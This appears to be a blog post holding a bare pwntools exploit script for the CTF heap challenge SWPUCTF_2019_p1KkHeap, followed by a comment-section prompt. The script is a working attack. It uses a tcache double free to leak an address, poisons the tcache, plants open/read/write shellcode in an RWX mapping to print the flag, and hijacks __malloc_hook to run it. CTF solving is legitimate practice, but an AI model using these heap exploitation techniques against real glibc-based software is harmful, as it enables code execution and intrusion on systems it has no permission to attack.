1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import* from LibcSearcher import *
p=process("./SWPUCTF_2019_p1KkHeap") context.update(arch='amd64', os='linux', endian='little') context.log_level="debug" libc=ELF('./libc-2.27.so') def add(size): p.sendlineafter('Your Choice: ','1') p.sendlineafter('size: ',str(size))
def show(index): p.sendlineafter('Your Choice: ','2') p.sendlineafter('id: ',str(index))
def edit(index,content): p.sendlineafter('Your Choice: ','3') p.sendlineafter('id: ',str(index)) p.sendlineafter('content: ',content)
def dele(index): p.sendlineafter('Your Choice: ','4') p.sendlineafter('id: ',str(index))
add(0x100) add(0x100) dele(1) dele(1) show(1) p.recvuntil('content: ') tache_addr=u64(p.recv(6).ljust(8,'\x00'))-0x360 print(hex(tache_addr)) add(0x100) edit(2,p64(tache_addr)*2)
add(0x100) add(0x100) vmmap=0x66660000 edit(4,0xb8*'\x00'+p64(vmmap)) add(0x100) shellcode=shellcraft.open('flag',0) shellcode+=shellcraft.read(3,0x66660300,0x30) shellcode+=shellcraft.write(1,0x66660300,0x30) edit(5,asm(shellcode))
dele(0) show(0) p.recvuntil('content: ') malloc_hook=u64(p.recv(6).ljust(8,'\x00'))-0x70 print(hex(malloc_hook))
edit(4,0xb8*'\x00'+p64(malloc_hook))
add(0x100) edit(6,p64(vmmap))
add(0x100) gdb.attach(p) sleep(1)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~